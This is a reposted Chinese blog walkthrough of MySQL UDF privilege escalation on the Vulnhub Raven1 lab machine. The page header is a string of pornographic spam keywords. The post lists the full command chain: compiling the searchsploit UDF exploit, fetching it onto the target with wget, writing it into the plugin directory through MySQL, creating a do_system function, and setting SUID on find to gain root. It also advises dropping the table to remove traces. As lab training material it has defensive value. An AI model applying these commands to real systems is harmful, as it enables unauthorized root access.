欧美free性护士vide0shd,老熟女,一区二区三区,久久久久夜夜夜精品国产,久久久久久综合网天天,欧美成人护士h版

首頁綜合 正文
目錄

柚子快報(bào)邀請碼778899分享:MySQL提權(quán)之UDF提權(quán)

柚子快報(bào)邀請碼778899分享:MySQL提權(quán)之UDF提權(quán)

http://yzkb.51969.com/

1、前言

最近遇到udf提權(quán),幾經(jīng)周折終于搞懂了。感覺挺有意思的,滲透思路一下子就被打開了。

2、什么是udf提權(quán)

udf 全稱為'user defined function',意思是'用戶自定義函數(shù)'。用戶可以對數(shù)據(jù)庫所使用的函數(shù)進(jìn)行一個(gè)擴(kuò)展(windows利用dll文件,linux利用so文件),那么我們就可以利用這個(gè)特點(diǎn),往MySQL里面添加一個(gè)可以執(zhí)行系統(tǒng)命令的函數(shù)即可。

3、提權(quán)條件

(1)獲取了MySQL的控制權(quán),也就是知道MySQL賬號和密碼,并且能登錄上去。

(2)MySQL具有讀寫的權(quán)限,即secure_file_priv的值為空才行。

(3)MySQL服務(wù)以root用戶運(yùn)行,如果是以普通用戶運(yùn)行的話,那么提權(quán)之后的權(quán)限也是普通用戶的權(quán)限。

值得注意的是,不同版本的MySQL提權(quán)方式略有不同。

MySQL版本大于5.1,擴(kuò)展文件必須放在MySQL安裝目錄的lib\plugin文件夾下。(plugin目錄下存放的是擴(kuò)展文件,plugin文件夾默認(rèn)不存在,需要自己創(chuàng)建)

mysql版本<5.1 需要將擴(kuò)展文件放在 C:\windows\或C:\windows\system32

4、提權(quán)過程

這里我就用Vulnhub靶場的?raven1靶機(jī)來演示,因?yàn)檫@個(gè)靶機(jī)剛好可以進(jìn)行udf提權(quán)。這里直接快進(jìn)到拿到shell了,如何getshell就不說了。

輸入命令查看MySQL,發(fā)現(xiàn)是root身份運(yùn)行的。

ps aux | grep "mysql"

?在/var/www/html/wordpress目錄下找到一個(gè)wp-config.php,估計(jì)是配置文件,打開發(fā)現(xiàn)有mysql的賬號和密碼,直接連接上去即可。

mysql -u root -p

查看是否有讀寫權(quán)限,發(fā)現(xiàn)值為空符合我們的前提。

show global variables like 'secure_file_priv';

再查看一下擴(kuò)展目錄在哪里,如果沒有的話還需自己創(chuàng)建一下,網(wǎng)上有說可以使用ntfs數(shù)據(jù)流創(chuàng)建

后續(xù)我實(shí)驗(yàn)一下。

show global variables like '%plugin%';

通過我們的信息收集,發(fā)現(xiàn)這個(gè)主機(jī)是符合我們udf提權(quán)的前提的。那么現(xiàn)在我們編譯一個(gè).so文件(靶機(jī)為Linux),然后加載到plugin目錄下即可。在kali的漏洞庫里面有以及寫好的c語言腳本的,我們直接編譯成.so文件即可,非常的省事。

searchsploit mysql udf

編譯成名為rong.so的文件。

gcc -g -c 1518.c

gcc -g -shared -o rong.so 1518.c

然后下載到靶機(jī)的tmp目錄下面。

wget http://192.168.145.171/rong.so

我們上面說過要把擴(kuò)展文件放到plugin目錄下面才可以,但是我們普通用戶是沒有權(quán)限直接把文件移動(dòng)到plugin下面的。這個(gè)時(shí)候MySQL的作用就來了,我們可以在MySQL上面創(chuàng)建一個(gè)表,把我們/tmp/rong.so的內(nèi)容寫入到表里面,然后再把這個(gè)表里面的內(nèi)容讀到plugin目錄下面的rong.so文件。這樣就實(shí)現(xiàn)了tmp目錄下的rong.so轉(zhuǎn)移到plugin目錄下,所以這就是為啥MySQL要具有讀寫權(quán)限。

show databases;

隨便選個(gè)庫都無所謂,這里我選mysql,然后新建一個(gè)表。

use mysql

create table rong(line blob)

把/tmp/rong.so文件內(nèi)容寫入這個(gè)新建的表里面,load_file函數(shù)就是把文件內(nèi)容寫入到表里面。

insert into rong values(load_file('/tmp/rong.so'));

再把表里面的內(nèi)容讀到plugin目錄的rong.so,into dumpfile函數(shù)就是把表里的內(nèi)容讀入文件里面,如果沒有這個(gè)文件就新建一個(gè)。

select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';

在真實(shí)的攻擊中,一般都會(huì)把剛剛新建的表刪掉(不刪也行),清楚痕跡。

drop table rong

現(xiàn)在我們已經(jīng)成功把自定義擴(kuò)展函數(shù)放到plugin目錄下面了,接著導(dǎo)入函數(shù)。

create function do_system retuns integer soname 'rong.so'

然后我們就可以執(zhí)行系統(tǒng)命令了,不過這里是沒回顯的,要想有回顯示還得導(dǎo)入其他.so文件,這里就不說了。我們可以個(gè)find命令賦予一個(gè)suid權(quán)限,然后再利用find提權(quán)即可。

select do_system('chmod u+s /usr/bin/find');

查看一下具有suid權(quán)限的命令,find命令成功被賦予了權(quán)限。

find / -perm -u=s -type f 2>/dev/null

至于find命令如何提權(quán)可以參考這篇文章點(diǎn)擊我,求你了,這里不在綴述。

5、總結(jié)

udf提權(quán)本質(zhì)就是通過添加自定義函數(shù)讓MySQL能執(zhí)行系統(tǒng)命令,僅此而已。

最后,以上僅為個(gè)人的拙見,如何有不對的地方,歡迎各位師傅指正與補(bǔ)充,有興趣的師傅可以一起交流學(xué)習(xí)。

柚子快報(bào)邀請碼778899分享:MySQL提權(quán)之UDF提權(quán)

http://yzkb.51969.com/

參考鏈接

評論可見,查看隱藏內(nèi)容

本文內(nèi)容根據(jù)網(wǎng)絡(luò)資料整理,出于傳遞更多信息之目的,不代表金鑰匙跨境贊同其觀點(diǎn)和立場。

轉(zhuǎn)載請注明,如有侵權(quán),聯(lián)系刪除。

本文鏈接:http://m.gantiao.com.cn/post/19526613.html

發(fā)布評論

您暫未設(shè)置收款碼

請?jiān)谥黝}配置——文章設(shè)置里上傳

掃描二維碼手機(jī)訪問

文章目錄